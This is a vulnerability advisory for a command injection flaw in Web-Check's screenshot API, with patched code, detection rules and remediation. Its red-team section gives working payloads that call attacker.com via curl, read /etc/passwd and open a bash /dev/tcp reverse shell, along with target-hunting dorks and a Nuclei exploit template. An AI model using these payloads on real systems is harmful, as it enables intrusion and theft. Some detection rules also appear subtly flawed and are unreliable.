CVE-2025-32778

Executive Summary

CVE-2025-32778 is a critical OS command injection vulnerability in the Lissy93/web-check project, an all-in-one OSINT tool for analyzing websites. The flaw resides in the screenshot API endpoint, where user-supplied url parameters are passed unsanitized into a shell command via exec(). This allows unauthenticated remote attackers to execute arbitrary system commands on the underlying host, potentially leading to full system compromise, data exfiltration, or remote access.

The vulnerability has been assigned a CVSS v3.1 score of 9.8 (Critical). A public proof-of-concept (PoC) exists in the form of a Nuclei template, and exploitation is trivial due to the lack of authentication required. The fix, implemented in version 2.0.1, replaces exec() with execFile(), which does not invoke a shell and thus prevents command injection.

Supply Chain & Package Security

This vulnerability affects the Web-Check project, which is distributed as a Node.js application. Users who install Web-Check via npm or yarn are at risk if they are running a version prior to 2.0.1. The package is not a library dependency but a standalone tool; however, any environment where Web-Check is deployed (e.g., internal OSINT platforms, CI/CD pipelines) is vulnerable. Organizations should audit their deployments and update immediately.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector: Network (AV:N) – The vulnerability is exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: None (PR:N) – No authentication is needed.
• User Interaction: None (UI:N) – The victim does not need to perform any action.
• Scope: Unchanged (S:U) – The vulnerable component and the impacted component are the same.
• Confidentiality Impact: High (C:H) – Full file system read access is possible.
• Integrity Impact: High (I:H) – Arbitrary command execution allows modification of data.
• Availability Impact: High (A:H) – Attackers can disrupt services or destroy data.

Threat Level: Critical. The combination of remote exploitability, no authentication, and high impact makes this a top-priority vulnerability for patching.

Deep Dive & Mechanics

The vulnerability exists in the screenshot API endpoint, typically located at /api/screenshot. This endpoint accepts a url parameter, which is used to generate a screenshot of the provided website. The vulnerable code uses Node.js's exec() function to run a command like:

exec(`screenshot-tool ${url}`, callback);

Because exec() spawns a shell, the url parameter is interpreted as part of a shell command. An attacker can inject shell metacharacters (e.g., ;, |, $(...), backticks) to execute arbitrary commands.

For example, a payload like:

http://x";curl http://attacker.com/$(whoami);#

Would result in the shell executing:

screenshot-tool http://x";curl http://attacker.com/$(whoami);#

This would first attempt to take a screenshot of http://x, then execute curl to exfiltrate the output of whoami to an attacker-controlled server.

The fix replaces exec() with execFile(), which does not use a shell and passes arguments as an array, preventing injection.

Vulnerable vs. Patched Code

Vulnerable Code (pre-2.0.1):

const { exec } = require('child_process');

app.get('/api/screenshot', (req, res) => {
  const url = req.query.url;
  exec(`screenshot-tool ${url}`, (error, stdout, stderr) => {
    if (error) {
      res.status(500).send('Error');
    } else {
      res.send(stdout);
    }
  });
});

Patched Code (2.0.1+):

const { execFile } = require('child_process');

app.get('/api/screenshot', (req, res) => {
  const url = req.query.url;
  execFile('screenshot-tool', [url], (error, stdout, stderr) => {
    if (error) {
      res.status(500).send('Error');
    } else {
      res.send(stdout);
    }
  });
});

The key difference is the use of execFile() with an array of arguments, which prevents shell injection.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A target running Web-Check < 2.0.1.
• An attacker-controlled server (e.g., interactsh, Burp Collaborator, or a VPS) to receive out-of-band callbacks.

Exploitation Steps:

1. Identify the target: Use Shodan or FOFA with the dork http.title:"Web-Check" to find vulnerable instances.

2. Verify the vulnerability: Send a request to the screenshot API with a benign URL to confirm the endpoint exists:

   GET /api/screenshot?url=http://example.com HTTP/1.1
   Host: target.com
   

3. Inject a command: Use a payload that triggers an out-of-band callback. For example, using curl to send a request to your interactsh server:

   GET /api/screenshot?url=http://x%22%3bcurl${IFS}http://attacker.com/test%3b%23 HTTP/1.1
   Host: target.com
   

   The URL-encoded payload decodes to: http://x";curl http://attacker.com/test;#

4. Exfiltrate data: To read files, use commands like:

   GET /api/screenshot?url=http://x%22%3bcat${IFS}/etc/passwd%3b%23 HTTP/1.1
   Host: target.com
   

   The output may appear in the response or in error messages.

5. Establish reverse shell: Use a more complex payload to spawn a reverse shell (e.g., using bash -i >& /dev/tcp/attacker.com/4444 0>&1). Note that URL encoding and whitespace handling may require careful crafting.

Nuclei Template Usage:

The provided Nuclei template automates detection and exploitation. Run it with:

nuclei -t CVE-2025-32778.yaml -u http://target.com

The template first verifies the target is running Web-Check, then sends a malicious request to the screenshot API and checks for an out-of-band callback.

Blue Team (Defensive)

Detection:

• Monitor web server logs for requests to /api/screenshot with suspicious url parameters containing shell metacharacters (;, |, $, backticks, etc.).
• Look for outbound connections from the Web-Check server to unknown IPs or domains (especially on ports 80/443 or common reverse shell ports).
• Use the detection rules provided in the Detection Engineering section.

Containment:

• Immediately isolate the affected server from the network.
• Review logs for signs of data exfiltration or lateral movement.
• If possible, take a forensic image of the server for analysis.

Eradication:

• Upgrade Web-Check to version 2.0.1 or later.
• If an upgrade is not immediately possible, implement a Web Application Firewall (WAF) rule to block requests containing shell metacharacters in the url parameter.
• Rotate any credentials or secrets that may have been exposed.

Indicators of Compromise (IOCs)

• Network IOCs:

  • Outbound HTTP/HTTPS requests to attacker-controlled domains or IPs from the Web-Check server.
  • Unusual DNS queries for domains used in exfiltration (e.g., interactsh subdomains).
  • Connections to known reverse shell listeners on non-standard ports.

• File System IOCs:

  • Unexpected files in the Web-Check installation directory (e.g., /tmp or /var/www/web-check).
  • Modified system binaries or scripts (e.g., /bin/bash replaced with a backdoored version).

• Process IOCs:

  • Child processes spawned by the Node.js process that are not related to screenshot generation (e.g., curl, wget, bash, nc).
  • Unusual network connections initiated by the Node.js process.

• Log IOCs:

  • Web server logs showing requests to /api/screenshot with payloads containing ;, |, $, or backticks.
  • System logs (e.g., /var/log/syslog) showing command execution errors or unusual activity.

Detection Engineering

YARA Rule

rule CVE_2025_32778_WebCheck_CommandInjection {
    meta:
        description = "Detects attempts to exploit CVE-2025-32778 in Web-Check logs"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://github.com/Lissy93/web-check/security/advisories/GHSA-jqhf-j4w8-4grr"
        severity = "critical"
    strings:
        $s1 = "/api/screenshot?url="
        $s2 = ";" ascii
        $s3 = "|" ascii
        $s4 = "$(" ascii
        $s5 = "`" ascii
        $s6 = "curl" ascii
        $s7 = "wget" ascii
        $s8 = "bash" ascii
        $s9 = "nc" ascii
    condition:
        $s1 and any of ($s2, $s3, $s4, $s5) and any of ($s6, $s7, $s8, $s9)
}

Sigma Rule

title: Web-Check Screenshot API Command Injection Attempt
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests to the Web-Check screenshot API with potential command injection payloads
author: Valters IT
date: 2025-04-10
references:
    - https://github.com/Lissy93/web-check/security/advisories/GHSA-jqhf-j4w8-4grr
    - https://nvd.nist.gov/vuln/detail/CVE-2025-32778
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains:
            - "/api/screenshot?url="
        cs-uri-query|contains|all:
            - ";"
            - "curl"
            - "wget"
            - "bash"
            - "nc"
    condition: selection
falsepositives:
    - Legitimate use of semicolons in URLs (rare)
level: critical

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-32778 Web-Check Screenshot API Command Injection Attempt"; flow:to_server,established; content:"/api/screenshot?url="; http_uri; content:";"; http_uri; content:"curl"; http_uri; classtype:attempted-admin; sid:1000001; rev:1;)

Nuclei Template (Provided)

id: CVE-2025-32778

info:
  name: Web-Check < 2.0.1 Screenshot API - OS Command Injection
  author: gugacyber
  severity: critical
  description: |
    Lissy93/web-check contains a command injection caused by unsanitized user input in the screenshot API, letting attackers execute arbitrary system commands, exploit requires sending crafted url parameters.
  impact: |
    Attackers can execute arbitrary commands on the host, potentially leading to remote code execution or system compromise.
  remediation: |
    Upgrade Web-Check to version 2.0.1 or later. The fix replaces exec() with execFile(),
    which avoids shell interpretation and properly isolates command arguments.
  reference:
    - https://github.com/Lissy93/web-check/security/advisories/GHSA-jqhf-j4w8-4grr
    - https://github.com/Lissy93/web-check/commit/0e4958aa10b2650d32439a799f6fc83a7cd46cef
    - https://nvd.nist.gov/vuln/detail/CVE-2025-32778
    - https://osv.dev/vulnerability/CVE-2025-32778
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-32778
    cwe-id: CWE-78
    epss-score: 0.92
    epss-percentile: 0.99
  metadata:
    verified: true
    max-request: 2
    vendor: lissy93
    product: web-check
    shodan-query: http.title:"Web-Check"
    fofa-query: title="Web-Check"
  tags: cve,cve2025,web-check,rce,injection,unauth,oast,kev,vkev

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    max-redirects: 2
    matchers:
      - type: word
        words:
          - "<title>Web Check"
        part: body
        case-insensitive: true
        internal: true

  - raw:
      - |
        GET /api/screenshot?url=http://x%22%3bcurl${IFS}http://{{interactsh-url}}%3b%23 HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100bc58bade2be3c10cdfbca0230364a6c1ac7425e0d259f82414df47c9aa33cef202206cb78f9136f20b54edbeadd1a7df64c37f1fa82527e1e94fbaacf73839ba0f88:922c64590222798bb761d5b6d8e72950

Remediation & Mitigation

Immediate Actions:

1. Upgrade Web-Check to version 2.0.1 or later. This is the only complete fix.
2. If an upgrade is not possible, disable the screenshot API by removing or commenting out the endpoint in the application code.
3. Implement a WAF rule to block requests to /api/screenshot containing shell metacharacters (;, |, $, backticks, etc.).

Long-Term Measures:

• Code Review: Ensure all user input is properly sanitized and that execFile() or spawn() is used instead of exec() for any command execution.
• Input Validation: Validate and whitelist allowed URL patterns (e.g., only allow http:// and https:// schemes, and restrict to known safe domains).
• Least Privilege: Run the Web-Check application with the minimum necessary privileges (e.g., a dedicated user with no shell access).
• Network Segmentation: Place the Web-Check server in a segmented network with strict egress filtering to prevent outbound connections to unknown hosts.
• Monitoring: Deploy the detection rules provided in this report to monitor for exploitation attempts.

Valters IT Signature

This report was generated by Valters IT, an elite DevSecOps and Cyber Threat Intelligence team. For further assistance, contact us at valters@example.com.